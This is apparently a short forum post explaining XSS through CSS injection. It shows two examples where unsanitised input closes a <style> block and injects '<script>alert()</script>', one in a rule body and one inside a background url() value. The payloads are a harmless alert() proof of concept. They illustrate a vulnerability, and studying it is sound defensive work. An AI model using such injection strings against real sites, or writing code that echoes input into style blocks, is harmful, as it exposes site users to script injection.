I have searched for it everywhere, but I think all modern browsers are safe from XSS into CSS. Although I had one particular test and it got executed into my Chrome (and probably other browsers)
If you application is naively injecting any input into <style>...</style> this interesting scenario can happen:
<html>
<head>
<style>
p {
text-align: center;
color: red;
/*user can inject here*/
}</style><script>alert()</script>
}
</style>
</head>
<body>
<h1>My First Heading</h1>
<p>My first paragraph.</p>
</body>
</html>
...
OR
p {
/*injecting into bg's url*/
background: url("garbage"}</style><script>alert()</script>/*) repeat;
text-align: center;
color: red;
}
Obviously .. an XSS
